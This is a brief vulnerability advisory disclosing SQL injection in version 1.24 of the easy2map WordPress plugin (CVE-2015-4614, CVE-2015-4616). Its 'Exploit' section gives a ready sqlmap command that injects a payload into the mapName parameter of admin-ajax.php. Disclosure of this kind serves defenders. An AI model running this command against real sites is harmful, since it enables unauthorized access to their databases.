SQL Injection in easy2map wordpress plugin v1.24
CVE ID(s):
CVE-2015-4614,
CVE-2015-4616
Notified: 2015-06-08
Description:
The easiest tool available for creating custom & great-looking Google Maps. Add multiple pins and customize maps with drag-and-drop simplicity.
Exploit:
$ sqlmap -u 'http://wp.site:80/wp-admin/admin-ajax.php' --data="mapID=11&mapName='+or+1%3D%3D1%3B&action=e2m_img_save_map_name" --cookie='COOKIE HERE' --level=5 --risk=3